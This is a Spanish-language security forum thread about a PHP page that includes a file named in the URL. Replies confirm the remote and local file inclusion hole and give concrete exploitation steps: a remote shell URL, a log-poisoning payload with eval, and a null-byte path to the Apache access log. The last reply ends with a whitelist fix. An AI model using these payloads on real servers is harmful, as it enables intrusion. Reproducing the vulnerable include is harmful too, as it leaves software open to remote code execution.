elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad (Moderador: r32)
| | |-+  se puede usar una shell en este codigo?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: se puede usar una shell en este codigo?  (Leído 3,892 veces)
pana88

Desconectado Desconectado

Mensajes: 76


Fhacking


Ver Perfil WWW
se puede usar una shell en este codigo?
« en: 4 Mayo 2018, 02:21 am »

hola para los que saben de Vulnerabilidades queria saber si se puede inyectar una shell en este codigo php

Código:
<?php
error_reporting(0);
if($page=""){
  include "servicios.php";
}else{
include $_GET["page"] . ".php";}
?>

donde pagina seria algo asi como index.php?page=http://mi_url_shell y interprete shell.php


« Última modificación: 4 Mayo 2018, 02:23 am por pana88 » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: se puede usar una shell en este codigo?
« Respuesta #1 en: 4 Mayo 2018, 02:24 am »

ese codigo es vulnerable por donde se vea, permite ejecutar cualquier archivo... la cosa es subir el archivo


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
pana88

Desconectado Desconectado

Mensajes: 76


Fhacking


Ver Perfil WWW
Re: se puede usar una shell en este codigo?
« Respuesta #2 en: 4 Mayo 2018, 02:26 am »

no se puede alojar en una url atacante?
como podria hacerlo seguro?

algo como un if exist archivo url o algo asi
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: se puede usar una shell en este codigo?
« Respuesta #3 en: 4 Mayo 2018, 02:31 am »

no hay razón para que se accedan paginas a lo loco... cada incluso debe ser bien medido y configurado
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: se puede usar una shell en este codigo?
« Respuesta #4 en: 4 Mayo 2018, 19:49 pm »

Hola,

¿Cómo probar la seguridad?

Tienes dos opciones:

Primero recuerda que php utiliza wrapperss, por lo cual puedes llamar a file:/// para declarar una ruta local o http:// y ftp:// para declarar rtutas externas, en este caso ese script es vulnerable a RFI (Remote File Include) por lo cual puedes darle una ruta externa y lo ejecutará de manera directa, incluso puedes subir el código en pastebin, entrar en raw mode y esa url incluirsela.

La segunda opción es infectar el archivo log del servidor e incluirlo, pero ojo, solo tendrás una oportunidad ya que el código es ejecutado de arriba hacia abajo.

Lo que debes hacer es llamar a la url con un código, por ejemplo: http://ejemplo.com/<?php eval(urldecode($_GET['x'])); exit; ?>

Luego de eso, ese código quedará en el log de accesos del apache y lo podrás llamar algo así:

http://ejemplo.com/?page=/var/log/httpd/access_log%00&x=print_r(glob('/*'));

De esta manera incluirá tu código php y ejecutará un segundo código que listará todos los archivos de la raiz principal del servidor.
Ahora, recuerda que el código ya le agrega al final el .php asi que no es necesario que escribas el .php al final, y si necesitas incluir otros archivos que no sean php como el log de accesos del apache puedes finalizar con un %00 para finalizar el string y omitir el .php ya que ese código no utiliza PHP_EOL (declarado como parte del estandar de php).

http://php.net/manual/es/function.include.php
http://php.net/manual/es/reserved.constants.php
https://stackoverflow.com/questions/128560/when-do-i-use-the-php-constant-php-eol
http://php.net/manual/es/wrappers.php


¿Cómo solucionarlo?

Para hacerlo mas seguro no basta con usar file exists ya que aunque el archivo sea remoto si existe. Lo que debes hacer es crear parámetros que indiquen que archivo quieres incluir y no solicitarlo en la url, por ejemplo:

Código:
$secciones = array('1' => 'a.php', '2' => 'b.php', '3.3' => 'c.php');

Entonces, en la url obtienes el parámetro de la llave del array, por ejemplo: http://www.ejemplo.com/index.php?page=3.3 y ya sabes que debes incluir c.php. Por ejemplo:

Código:
$secciones = array('1' => 'a.php', '2' => 'b.php', '3.3' => 'c.php');
if(isset($secciones[$_GET['pagina']]))
{
    include($secciones[$_GET['pagina']]);
}
else
{
    echo 'No existe.';
}

Nunca solicites el nombre completo de un archivo vía URL y si lo vas a hacer debes crear unos filtros que no son nada fáciles de hacer, por eso las buenas prácticas recomiendan parametrizar las páginas en variables distintas y nunca hacer interactuar los parámetros de entrada con llamadas a ejecuciones (recordemos que include no solo llama sino ejecuta también).

Para desarrolladores mas avanzados se recomienda crear un arreglo con todas las posibles secciones al comienzo de su ejecución o dentro de un archivo de rutas y este ser comparado y utilizado, y antes de pasar a ambiente de producción se debe imprimir este arreglo para asegurarse que únicamente podrán ser llamados los archivos que corresponden, ahi se deben crear listas negras sobre esta lista blanca o simplemente eliminarlas del stack utilizando las funciones de pila de php tales como array_shift y array_unshift.

De todas maneras ya existen sistemas que permiten un desarrollo muy rápido sin tener que preocuparse por estas cosas, por ejemplo el framework de Codeigniter.

http://php.net/array%20shift
http://php.net/array%20unshift
http://php.net/array%20pop
http://php.net/array%20push
http://php.net/unset
http://php.net/isset
https://codeigniter.com/

Saludos.
« Última modificación: 4 Mayo 2018, 20:09 pm por WHK » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
No puedo usar MessageBox en este contexto, alguien puede explicarme porque?
.NET (C#, VB.NET, ASP)
mmartinezmolina 6 13,576 Último mensaje 27 Noviembre 2008, 19:55 pm
por CrÄsH
Se puede optimizar este codigo ?
PHP
nobo 6 3,606 Último mensaje 5 Marzo 2012, 22:41 pm
por nobo
Se puede optimizar más este codigo?
Desarrollo Web
z3nth10n 2 2,664 Último mensaje 16 Abril 2013, 07:33 am
por z3nth10n
Se puede descifrar este codigo?
Criptografía
maryrose1984 3 6,362 Último mensaje 6 Junio 2013, 19:31 pm
por engel lex
Se puede mejorar este codigo¿?
Programación C/C++
trioper 4 2,131 Último mensaje 29 Abril 2017, 12:16 pm
por MAFUS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines